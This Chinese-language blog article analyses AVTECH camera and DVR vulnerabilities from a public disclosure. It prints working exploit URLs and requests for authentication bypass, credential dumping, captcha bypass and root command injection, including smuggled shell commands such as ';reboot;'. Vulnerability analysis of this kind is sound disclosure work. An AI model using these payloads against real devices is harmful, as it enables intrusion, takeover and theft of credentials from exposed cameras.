Author:光棍节
AVTECH是一家台湾的视频监控设备制造商,公司成立于1996年,是世界领先的闭路电视制造商之一,主要产品有监控设备,网络摄像机,网络录像机等。
近日,匈牙利安全公司 Search-Lab 发表了一份公告详细的披露了AVTECH监控产品存在的14个漏洞,事实上早在一年之前,该公司就先后4次尝试向AVTECH公司通报发现的漏洞,但是均没有收到回应,该公司于一周之前公布了整个漏洞的详情。
由于很多设备可以直接通过公网IP地址访问,所以影响较大,本文详细的分析漏洞的成因和利用方式。
由于/cgi-bin/nobody目录下的CGI脚本文件运行权限设置不合理,导致可以在未认证的情况下直接运行,此类型漏洞已经在多个设备中出现,斐讯K1就是因为cgi文件执行权限限制不合理,导致可以直接获取路由器的所有配置信息。 攻击链接示例:
http://<device_ip>/cgi-bin/nobody/Machine.cgi?action=get_capability
获取摄像头的设备信息。
在DVR设备中,Search.cgi可以直接被访问,Search.cgi负责搜索和访问本地网络中的摄像头,Search.cgi提供了cgi_query功能,通过设置ip,port和queryb64str三个参数可以实现直接访问本地网络中的摄像头。 利用实例构造如:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw== http://<device_ip>/cgi-bin/nobody/Search.cgi?action=scan
获取局域网中所有的摄像头的配置信息。
Search.cgi中提供的cgi_query功能是通过wget功能实现HTML请求,但是由于对参数没有验证和过滤,可以通过构造参数实现root权限的任意系统命令的执行。
实例链接如下:
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin
可以通过两种方式实现认证绕过:
第一种是.cab方式,cab格式文件是视频播放器插件,存储在web的根目录下,它可以无需验证直接被访问和下载,而设备端只是通过strstr函数查找链接中是否存在.cab字段,如果含有就直接认为免认证。
第二种是nobody方法,同样由于设备端只是通过strstr函数去查找链接中是否存在nobody字段,如果有就直接免认证。 两种方式的链接可以如下,.cab和/nobody可以放在链接中的其他地方,获取设备的配置信息,其中包括登录的用户名和密码。
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.* http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
由于.cab字符串是通过strstr方法验证的,那么可以通过在文件名称末尾加上?.cab实现文件下载。作者类推的实验了一下在链接后加上?/nobody,也可以下载文件,漏洞的原因相同。 实例链接:
http://<device_ip>/cgi-bin/cgibox?.cab http://<device_ip>/cgi-bin/cgibox?/nobody
设备在登录时通过增加验证码方式防止暴力猜解用户名和密码,但是由于系统设计的不合理,可以通过增加login=quick直接绕过。 链接格式如下:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick
如果没有采用quick方式的话,链接的格式如下:
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&captcha_code=ZVFU&verify_code=ZVmHTLN5eiGB
由于captcha_code
和verify_code
是配套的,我们可以通过人工设置使他们保持一致同样可以绕过验证码验证,从而暴力猜解用户名和密码。
第一个:设备通过CloudSetup.cgi支持Avtech云服务,在登录认证通过之后,由于没有对参数进行验证,可以通过exefile参数以root权限执行任意命令。
http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps
第二个:部分设备支持ActionD命令,通过adcommand.cgi文件实现,新版本设备的ActionD提供了DoShellCmd功能,在认证通过之后,由于没有对参数进行验证,可以以root权限执行任意命令。此功能需要以post方式实现,其中cookie中的SSID为用户名和密码的base64值。
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1 Host: <device_ip> Content-Length: 23 Cookie: SSID=YWRtaW46YWRtaW4= DoShellCmd "strCmd=ps&"
第三个:PwdGrp.cgi文件在增加用户或者修改用户时,由于没有对参数进行验证,可以同时以root权限执行其他命令。
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN
第一个:使用没有认证证书的Https服务。系统中的SyncCloudAccount.sh
,QueryFromClient.sh
和SyncPermit.sh
使用wget去访问https网站,如https://payment.eagleeyes.tw 等。由于没有证书验证,此https通信可能遭受中间人攻击。
第二个:密码明文存储。容易被攻击轻易获取所有的用户登录密码等敏感信息。
第三个:CSRF漏洞。设备没有任何防CSRF攻击的措施,当管理员正登录时,可能受到CSRF攻击。
在shadon上搜索关键词“Avtech”,有超过13万个设备暴露在互联网中,当前avtech关键词搜索已经成为shadon上排名第二的热词,由于厂商目前还没有提供固件更新,所以建议大家采取如下措施来保护:
1、修改默认的登录密码; 2、限制用户通过公网访问设备的web功能。